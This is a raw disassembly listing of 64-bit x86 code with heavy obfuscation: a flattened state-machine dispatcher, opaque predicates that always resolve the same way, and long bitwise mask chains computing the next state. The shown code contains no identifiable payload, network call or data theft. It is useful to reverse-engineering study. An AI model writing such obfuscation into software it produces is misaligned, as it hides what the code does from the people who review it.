mov ebp, 0xda695de5
cmovne edx, ebp
jmp 0x14013d558
cmp ecx, 0x1b9253fa
jle 0x140134b61
cmp ecx, 0x2003c724
jg 0x140135be5
cmp ecx, 0x1fced52b
jg 0x140137b83
cmp ecx, 0x1b9253fb
je 0x14013b5b2
cmp ecx, 0x1d69159c
jne 0x140132830
mov r9b, byte [rsp + 0x2e]
mov bl, byte [rsp + 0x2f]
mov eax, ebx
xor al, 1
mov r8d, r9d
xor r8b, 1
mov ecx, r9d
xor cl, al
mov edx, ecx
xor dl, r8b
and dl, cl
and al, bl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
and r9b, al
xor al, 1
and al, r8b
or al, r9b
mov ecx, eax
mov r8d, eax
mov ebx, edx
or al, dl
xor dl, 1
xor cl, 1
and r8b, dl
and bl, cl
or bl, r8b
xor cl, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0xe0eab7c8
mov ecx, 0x46f9219b
cmovne edx, ecx
test al, 1
mov ecx, 0xe0eab7c8
jmp 0x14013f161
cmp ecx, 0x3b8bd51f
jle 0x140135cd8
cmp ecx, 0x3c9063b0
jle 0x140137d7c
cmp ecx, 0x3c9063b1
je 0x14013b6c6
cmp ecx, 0x3cd3f9c8
je 0x14013b7b8
cmp ecx, 0x3d3c3d01
jne 0x140132830
mov edx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ecx
or edx, 1
mov ebx, edx
not ebx
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
mov esi, edi
not esi
mov eax, edx
and eax, 0xe269434f
and ebx, 0x1d96bcb0
or ebx, eax
or edx, esi
and esi, 0xe269434f
and edi, 0x1d96bcb0
or edi, esi
xor edi, ebx
not edx
or edx, edi
and ebp, 0x37710e0d
and ecx, 0xc88ef1f2
or ecx, ebp
mov eax, ecx
xor eax, 0xc88ef1f2
xor ecx, 0x37710e0d
and ecx, edx
not edx
and eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne cl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov r8d, eax
xor r8b, 1
mov edx, ecx
or dl, r9b
xor dl, 1
xor cl, r9b
not cl
and cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, r8d
and dl, al
mov ebx, edx
and bl, r8b
xor dl, r8b
or dl, bl
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and dl, cl
or dl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x9413af42
mov ebp, 0xb1c1661d
cmovne eax, ebp
test cl, 1
mov ecx, 0x9413af42
jmp 0x140140de6
cmp ecx, 0x2190a101
je 0x140140e38
jmp 0x140132830
cmp ecx, 0x4e0ee0d5
jg 0x140135d24
cmp ecx, 0x4ca1f792
jg 0x140137e96
cmp ecx, 0x49bf77ea
je 0x14013b956
cmp ecx, 0x4a2d7b7e
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
or edx, 1
mov ecx, edx
not ecx
mov ebp, ebx
or ebp, 0xc803d12a
and edx, 0xc803d12a
and ecx, 0x37fc2ed4
or ecx, edx
and ebp, 0xc803d12b
xor ebp, ecx
mov ecx, ebp
and ebp, ebx
not ebx
not ecx
and ebx, ecx
or ebp, ebx
not ebp
or ebp, ecx
cmp ebp, 0xffffffff
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor al, 1
or al, bl
xor dl, cl
mov ecx, edx
xor cl, 1
mov r8d, ecx
mov ebx, eax
xor cl, al
xor al, 1
and r8b, al
and bl, dl
or bl, r8b
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x3dc6c6f7
mov ecx, 0x20a1c021
cmovne eax, ecx
test dl, 1
mov ecx, 0x3dc6c6f7
cmovne ecx, eax
jmp 0x140140706
cmp ecx, 0x946090b9
jg 0x140135eb6
cmp ecx, 0x92e1a553
jg 0x140138067
cmp ecx, 0x901bace5
je 0x14013b96c
cmp ecx, 0x90dc0796
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0xe3f0421e
mov ecx, ebx
not ecx
or edx, 0x180e8d61
and edx, 0x1b4e8f7f
and ebp, 0xe0b04000
or ebp, edx
and ebx, 0x1b4e8f7f
and ecx, 0x4013080
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0x7a3a95f3
and ecx, 0x85c56a0c
or ecx, edx
mov edx, ecx
xor edx, 0x99cad7ed
mov ebp, edx
or ebp, 1
mov ebx, ebp
not ebx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
mov edi, ebp
and edi, 0xf1aa7b7f
and ebx, 0xe558480
or ebx, edi
or ebp, edx
and edx, 0xf1aa7b7f
and ecx, 0xe558480
or ecx, edx
xor ecx, ebx
not ebp
or ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x1cf3792
and edx, ebp
not ebp
and ebp, 0x1803382
and ecx, 0x4f0410
or ecx, ebp
xor ecx, 0x4f0410
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xfe30c86d
and edx, 0x1cf3792
or edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x685469bf
and edx, 0x97ab9640
or edx, ebp
xor edx, 0x685469bf
xor ecx, edx
test ecx, edx
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov eax, edx
xor al, cl
and al, dl
mov ebx, r9d
or bl, al
xor al, 1
xor bl, 1
or al, r8b
xor al, 1
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
and r9b, dl
or dl, r8b
xor dl, 1
and cl, r8b
or cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and dl, bl
or bl, cl
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0xe8d50617
mov edx, 0x49bf77ea
cmovne eax, edx
test cl, 1
mov ecx, eax
mov edx, 0xe8d50617
cmovne ecx, edx
jmp 0x14013fa27
cmp ecx, 0xda518ad9
jg 0x14013606c
cmp ecx, 0xd81ee6bd
jg 0x140138186
cmp ecx, 0xd6d6008f
je 0x14013b982
cmp ecx, 0xd7a052e7
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0xd54b550d
mov edx, ebp
and edx, 0x2ab4aaf2
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x2ab4aaf3
and edx, 0xd54b550c
or edx, ebx
and ecx, 0x5ac29ea
and ebp, 0xfa53d615
or ebp, ecx
mov ecx, ebp
xor ecx, 0xd0135401
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0x2b60839e
and edx, 0xd49f7c61
or edx, edi
xor ebp, 0x120018a
and ebp, 0x2b60839e
and ecx, 0xd49f7c61
or ecx, ebp
xor ecx, edx
xor ebx, ecx
test ebx, ecx
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
and cl, dl
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
and bl, r8b
or cl, bl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test dl, 1
mov edx, 0x92e1a554
mov ebp, 0x432fe54c
cmovne edx, ebp
test cl, cl
mov ecx, edx
mov ebp, 0x92e1a554
jmp 0x14013c013
cmp ecx, 0x71bfdc96
jg 0x140136214
cmp ecx, 0x704800c4
jg 0x140138336
cmp ecx, 0x6e6b3b98
je 0x14013ba82
cmp ecx, 0x6fd24ba1
jne 0x140132830
mov ecx, 0x20ae4da9
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0xba4497cb
jg 0x140136330
cmp ecx, 0xb7bf09e5
jg 0x140138364
cmp ecx, 0xb4d65409
je 0x14013bb58
cmp ecx, 0xb6e33aa1
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x98c27a3d
and edx, ebp
not ebp
mov ebx, ebp
and ebx, 0x426818
and ecx, 0x98801225
or ecx, ebx
xor ecx, 0x98801225
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x80ecd975
and edx, 0x7f13268a
or edx, ecx
mov ecx, edx
xor ecx, 0x859054b6
xor edx, 0x18268249
and edx, 0x7a678a49
and ecx, 0x859875b6
or ecx, edx
xor ecx, 0x859875b6
mov edx, ecx
and edx, ebp
xor ecx, ebp
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
mov ecx, ebx
xor cl, al
and cl, bl
xor dl, 1
or al, r8b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x710d15bc
mov ebp, 0x2f771836
cmovne edx, ebp
test al, 1
jmp 0x1401398c0
cmp ecx, 0x528710c
jg 0x1401364bb
cmp ecx, 0xfc36eede
jg 0x140138392
cmp ecx, 0xf89444bb
je 0x14013bbf4
cmp ecx, 0xfab278b3
jne 0x140132830
mov ecx, dword [0x1402656e8]
lea eax, [rcx - 1]
imul eax, ecx
mov esi, eax
not esi
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
mov edx, eax
or edx, 1
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xff01eb81
mov ebp, esi
and ebp, 0xfe147e
or ebp, edi
or edx, ebx
and ebx, 0xff01eb81
and ecx, 0xfe147e
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
and ebp, 0xf4ff5ff7
and ecx, 0xb00a008
or ecx, ebp
or edx, eax
and eax, 0xf4ff5ff7
and esi, 0xb00a008
or esi, eax
xor esi, ecx
not edx
or edx, esi
cmp edx, 0xffffffff
sete cl
setne al
cmp dword [0x1402656e4], 0xa
setl bl
xor al, bl
xor al, 1
mov edx, ebx
or dl, cl
xor dl, 1
or dl, al
mov r8d, edx
xor r8b, 1
mov eax, ecx
xor al, bl
and cl, al
and al, bl
mov ebx, ecx
xor bl, 1
xor cl, al
xor al, 1
or al, bl
xor al, 1
or al, cl
mov ebx, r8d
and bl, dl
xor bl, 1
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
xor bl, al
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0x4e0ee0d6
mov ecx, 0xd665458b
cmovne edx, ecx
test al, 1
mov ecx, 0x4e0ee0d6
jmp 0x14013f161
cmp ecx, 0x4597f7b9
jg 0x140136608
cmp ecx, 0x447785c9
jg 0x140138506
cmp ecx, 0x432fe54c
je 0x14013bc16
cmp ecx, 0x43aa333c
jne 0x140132830
mov edx, dword [0x1402656e8]
mov ecx, dword [0x1402656e4]
lea eax, [rdx - 1]
imul eax, edx
mov ebp, eax
not ebp
mov ebx, ebp
and ebx, 0x1615e101
mov edx, eax
and edx, 0xe9ea1efe
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x4015ae07
and edx, 0xbfea51f8
or edx, ebx
mov ebx, edx
xor ebx, 0xa9ffb0f8
and ebp, 0x5d7cbe0f
and eax, 0xa28341f0
or eax, ebp
mov ebp, eax
xor ebp, 0xa28341f0
xor edx, 0x56004f07
and ebp, edx
xor eax, 0x5d7cbe0f
and eax, ebx
or eax, ebp
xor edx, eax
test edx, eax
sete r8b
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and bl, dl
xor dl, cl
and r8b, cl
or r8b, bl
mov ebx, edx
xor bl, 1
and cl, bl
mov eax, ecx
xor al, 1
xor cl, dl
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov ebx, ecx
and bl, al
mov edx, ebx
xor dl, 1
xor bl, cl
or dl, al
xor dl, 1
or dl, bl
xor dl, r8b
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xfd86e79
mov ebp, 0x946090ba
cmovne eax, ebp
test cl, 1
mov ecx, 0xfd86e79
jmp 0x140140de6
cmp ecx, 0x8c3d9d74
jg 0x140136642
cmp ecx, 0x89fe6ec5
jg 0x140138534
cmp ecx, 0x8875134e
je 0x14013bc2c
cmp ecx, 0x89f715ee
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xe89dbf84
and ecx, 0x1762407b
or ecx, edx
mov edx, ecx
xor edx, 0xe89dbf84
mov ebp, ecx
xor ebp, 0xe89dbf85
and ebp, edx
xor ecx, 0x1762407a
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
not ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x293eab
and ebp, 0xffd6c154
or ebp, edi
or ecx, ebx
and ebx, 0x293eab
and edx, 0xffd6c154
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebx, ecx
not ebx
or ecx, 0xe439c684
mov ebp, ecx
not ebp
or ebx, 0x1bc6397b
mov edx, ebx
not edx
and ecx, 0x806f0551
and ebp, 0x1b80382a
or ebp, ecx
and ebx, 0x806f0551
and edx, 0x6410c284
or edx, ebx
xor edx, ebp
mov ecx, edx
not ecx
and ecx, 0xe439c684
and edx, 0x1bc6397b
or edx, ecx
sete r8b
setne dl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
xor dl, al
xor dl, 1
mov ebx, ecx
xor bl, r8b
and bl, cl
xor al, r8b
xor bl, 1
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
xor al, dl
and dl, al
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xca3849d7
mov ecx, 0x14ec190c
cmovne ebp, ecx
test al, 1
mov ecx, 0xca3849d7
cmovne ecx, ebp
jmp 0x14013a0b5
cmp ecx, 0xcf2c12e1
jg 0x1401367fb
cmp ecx, 0xce1c7273
jg 0x14013868e
cmp ecx, 0xcdaa8e52
je 0x14013bd52
cmp ecx, 0xce199f66
jne 0x140132830
mov rax, qword [rsp + 0x38]
mov qword [0x1402650a0], rax
mov ecx, 0xa7c8eb5
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x686b0d9d
jg 0x14013699b
cmp ecx, 0x66f8d8a7
jg 0x1401386bc
cmp ecx, 0x66b0ce97
je 0x14013be1d
cmp ecx, 0x66ec5996
jne 0x140132830
mov rdi, qword [rsp + 0x38]
mov eax, dword [0x1402656e8]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0x3cba961e
mov ecx, ebp
and ecx, 0xc34569e0
or ecx, edx
xor ecx, 0xc34569e0
mov edx, ebp
and edx, 1
or edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x400d0029
and edx, 0xbff2ffd6
or edx, ecx
mov ecx, dword [0x1402656e4]
and ebp, 0x400d0029
and eax, 0xbff2ffd6
or eax, ebp
xor eax, edx
not eax
or eax, ebx
cmp eax, 0xffffffff
setne r9b
sete r10b
cmp ecx, 9
setg r8b
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, r8b
and dl, cl
mov ebx, edx
xor bl, 1
or dl, bl
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
xor dl, 1
mov eax, edx
xor al, r10b
not al
and al, r10b
or dl, r10b
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor r9b, r8b
mov eax, ecx
and al, r10b
xor cl, r10b
or cl, al
xor cl, 1
mov eax, r9d
and al, cl
xor cl, r9b
or cl, al
mov eax, ecx
xor al, 1
mov ebx, edx
xor bl, 1
and al, bl
or bl, cl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x43aa333c
mov edx, 0xb4583ccd
cmovne eax, edx
test cl, 1
mov ecx, eax
mov edx, 0x43aa333c
cmovne ecx, edx
mov qword [0x1402650a0], rdi
test bl, 1
jmp 0x14014088c
cmp ecx, 0xb2682633
jg 0x140136afa
cmp ecx, 0xb1c1661c
jg 0x140138849
cmp ecx, 0xb0ea1168
je 0x14013be33
cmp ecx, 0xb1948631
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edi, [rcx - 1]
imul edi, ecx
mov ebp, edi
not ebp
mov ecx, ebp
and ecx, edi
mov ebx, ecx
not ebx
mov edx, edi
and edx, 0xa4c655f5
and ebp, 0x5b39aa0a
or ebp, edx
or edi, ebx
and ebx, 0xa4c655f5
and ecx, 0x5b39aa0a
or ecx, ebx
xor ecx, ebp
not edi
or edi, ecx
mov ecx, edi
mov edx, edi
xor edx, 0x3366f3d4
and edx, edi
not edi
and edi, 0x18c90e8d
and ecx, 0xe736f172
or ecx, edi
mov ebp, ecx
xor ebp, 0xe736f172
mov ebx, ecx
xor ebx, 0x2baffd59
and ebx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xa1f5d687
and edx, 0x5e0a2978
or edx, ebx
xor edx, 0x6d6cdaad
and ebp, 1
xor ecx, 0xe736f173
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, 0x48605da5
and edx, 0xb79fa25a
or edx, ecx
xor edx, 0xb79fa25a
setne cl
sete r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, r8b
not al
and al, r8b
mov r9d, r8d
and r9b, bl
or bl, r8b
xor bl, 1
mov r10d, eax
and r10b, bl
xor bl, al
or bl, r10b
and cl, dl
or cl, r9b
mov eax, edx
and al, r8b
xor dl, r8b
or dl, al
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r8d, ecx
xor r8b, 1
mov r10d, ebx
xor r10b, 1
mov edx, ebx
and dl, r10b
mov r9d, edx
and r9b, bl
xor dl, bl
or dl, r9b
mov eax, edx
xor al, 1
and al, cl
and dl, r8b
or dl, al
xor r10b, r8b
or cl, bl
xor cl, 1
or cl, r10b
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x997ad665
mov ebp, 0xbb49f673
cmovne eax, ebp
test cl, 1
mov ecx, 0x997ad665
jmp 0x140140de6
cmp ecx, 0xf521125e
jg 0x140136b34
cmp ecx, 0xf0bcf5b7
jg 0x1401389a5
cmp ecx, 0xf0161f06
je 0x14013befd
cmp ecx, 0xf071b240
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
or ebx, 1
mov ebp, ebx
not ebp
mov edi, ecx
or edi, 0x31c433b4
and ebx, 0x31c433b4
and ebp, 0xce3bcc4a
or ebp, ebx
and edi, 0x31c433b5
xor edi, ebp
not edi
and edx, 0xc3cebfc0
and ecx, 0x3c31403f
or ecx, edx
xor ecx, 0x3c31403f
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd931e92d
and ecx, 0x26ce16d2
or ecx, edx
xor ecx, 0x26ce16d2
sete r9b
setne r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and r8b, al
mov ecx, r9d
xor cl, bl
and bl, r9b
or bl, r8b
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
xor al, bl
and bl, al
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0x60ae376b
mov edx, 0x73e52633
cmovne ecx, edx
test al, 1
mov eax, 0x60ae376b
cmovne eax, ecx
jmp 0x14013281a
cmp ecx, 0xe718806
jle 0x140136c93
cmp ecx, 0xf5d2630
jg 0x140138ac0
cmp ecx, 0xe718807
je 0x14013bf13
cmp ecx, 0xe9619ba
jne 0x140132830
mov edx, dword [0x1402656e8]
mov ecx, dword [0x1402656e4]
lea eax, [rdx - 1]
imul eax, edx
mov ebp, eax
not ebp
mov edx, ebp
and edx, 0xaa61aeba
mov ebx, eax
and ebx, 0x559e5144
or ebx, edx
xor ebx, 0x559e5144
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xcb4f981e
and edx, 0x34b067e1
or edx, ebx
xor edx, 0x34b067e1
and ebp, 0x939d8a7f
and eax, 0x6c627580
or eax, ebp
xor eax, 0x6c627580
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov edx, eax
not edx
and edx, 0xca5a9ccb
and eax, 0x35a56334
or eax, edx
xor eax, 0x35a56334
setne r9b
sete r10b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r8b
mov ebx, r10d
xor bl, r9b
and bl, r10b
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
xor dl, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, dl
mov ecx, ebx
and cl, r8b
xor bl, 1
and bl, al
or bl, cl
mov ecx, eax
xor cl, r10b
and cl, al
and r9b, r8b
and al, r10b
or al, r9b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
not cl
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
xor bl, 1
and bl, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xcbac81b0
mov ebp, 0xcf2c12e2
cmovne eax, ebp
test dl, dl
mov edx, 0xcbac81b0
cmove eax, edx
test cl, 1
cmovne eax, ebp
jmp 0x14013f449
cmp ecx, 0x1a209654
jle 0x140136ccd
cmp ecx, 0x1a60e067
jg 0x140138bcf
cmp ecx, 0x1a209655
je 0x14013bf29
cmp ecx, 0x1a53cb42
jne 0x140132830
mov edx, dword [0x1402656e8]
mov r9d, dword [0x1402656e4]
lea edi, [rdx - 1]
imul edi, edx
mov edx, edi
not edx
mov ecx, edi
xor ecx, 0xf9807c5c
and ecx, edi
or edi, 0x67f83a3
mov ebp, ecx
not ebp
mov ebx, edi
and ebx, 0x29722b93
and edx, 0xd080544c
or edx, ebx
or edi, ebp
and ebp, 0x29722b93
and ecx, 0xd68dd46c
or ecx, ebp
xor ecx, edx
not edi
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0x67f83a3
and edi, 0xf9807c5c
or edi, ecx
mov esi, edi
not esi
mov ebp, edi
xor ebp, 0x4806bfd6
and ebp, esi
mov ebx, esi
or ebx, 0x4806bfd6
mov ecx, ebx
not ecx
mov edx, ebp
not edx
mov eax, edx
and eax, 0xb10bc928
and ebp, 0x4ef436d7
or ebp, eax
or edx, ebx
and ebx, 0xb10bc928
and ecx, 0x6f00001
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x86481f07
and edx, 0x79b7e0f8
or edx, eax
mov ebp, edx
xor ebp, 0x30205c2c
and edi, 0xb674e293
mov eax, esi
and eax, 0x498b1d6c
or eax, edi
xor eax, 0xb674e292
and esi, 1
or esi, eax
mov eax, esi
not eax
xor edx, 0xce4ea0d0
mov ecx, edx
and ecx, 0x8d9b83d3
and ebp, 0x72647c2c
or ebp, ecx
or edx, esi
and esi, 0x8d9b83d3
and eax, 0x72647c2c
or eax, esi
xor eax, ebp
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x23c1323d
and edx, 0xdc3ecdc2
or edx, eax
mov eax, edx
xor eax, 0xd8368d42
xor edx, 0x2812024
and edx, 0x68960a4
and eax, 0xf9769f5b
or eax, edx
mov ecx, eax
xor ecx, 0xa912141a
xor eax, 0x2800024
and eax, 0x52e48b65
and ecx, 0xad1b749a
or ecx, eax
xor ecx, 0x52e48b65
cmp ecx, 0xffffffff
setne r8b
sete r10b
cmp r9d, 0xa
setl r11b
cmp r9d, 9
setg r9b
mov ebx, r10d
xor bl, r8b
and bl, r10b
mov edx, ebx
xor dl, 1
mov eax, ebx
and al, dl
mov ecx, eax
xor cl, 1
xor al, bl
or cl, dl
xor cl, 1
or cl, al
xor cl, 1
or dl, bl
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
and al, r9b
xor dl, 1
and dl, r11b
or dl, al
mov eax, r11d
xor r11b, r10b
and r10b, r9b
and al, r8b
or al, r10b
or r9b, r8b
xor r9b, 1
or r9b, r11b
xor r9b, 1
mov ecx, eax
and cl, r9b
xor r9b, al
or r9b, cl
xor r9b, dl
and dl, r9b
mov eax, r9d
xor al, dl
test al, 1
mov eax, 0x14025b48
mov ecx, 0xf630a908
cmovne eax, ecx
test r9b, 1
mov ecx, 0x14025b48
cmovne ecx, eax
jmp 0x14013bb51
cmp ecx, 0x5867b6ed
jg 0x140138d34
cmp ecx, 0x57e87cb1
je 0x14013bf3f
cmp ecx, 0x58000016
jne 0x140132830
mov edx, dword [0x1402656e8]
mov r9d, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xb70f285f
and ecx, 0x48f0d7a0
or ecx, ebp
mov esi, ecx
xor esi, 0x48f0d7a0
mov edi, ecx
xor edi, 0x9c1eae10
and edi, esi
or edx, 0x2b11864f
mov ebp, edx
not ebp
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0x8a4a4cf7
and edi, 0x75b5b308
or edi, eax
or ebx, edx
and edx, 0x8a4a4cf7
and ebp, 0x54a43100
or ebp, edx
xor ebp, edi
not ebx
or ebx, ebp
mov eax, ebx
not eax
and eax, 0x5fb355ff
and ebx, 0xa04caa00
or ebx, eax
xor ebx, 0x8b5d2c4e
and esi, 1
xor ecx, 0x48f0d7a1
or ecx, esi
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xd9daf14c
and edx, ecx
or ecx, 0x26250eb3
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x221d9972
and eax, 0xd9c2600c
or eax, ebx
or ecx, ebp
and ebp, 0x221d9972
and edx, 0xdde2668d
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x26250eb3
and ecx, 0xd9daf14c
or ecx, eax
sete r8b
setne r11b
cmp r9d, 0xa
setl r10b
cmp r9d, 9
setg cl
mov ebx, r11d
xor bl, r8b
and bl, r11b
mov eax, ebx
not al
and al, bl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
xor al, 1
mov ebx, eax
or bl, cl
xor al, cl
not al
and al, cl
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
and r11b, r10b
or r10b, r8b
and cl, r8b
or cl, r11b
xor cl, 1
mov edx, r10d
xor dl, cl
or cl, r10b
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov r8d, edx
xor r8b, 1
mov ecx, edx
and cl, r8b
mov ebx, ecx
xor bl, 1
xor cl, dl
or bl, r8b
xor bl, 1
or bl, cl
xor bl, al
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x364a42ed
mov ecx, 0xee2b8d15
cmovne eax, ecx
test dl, 1
mov ecx, 0x364a42ed
jmp 0x14014056b
cmp ecx, 0x9cb16a32
jg 0x140138d62
cmp ecx, 0x98b34977
je 0x14013bf55
cmp ecx, 0x997ad665
jne 0x140132830
mov eax, dword [0x1402656e8]
mov edx, dword [0x1402656e4]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xfffffffe
mov ecx, ebx
and ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
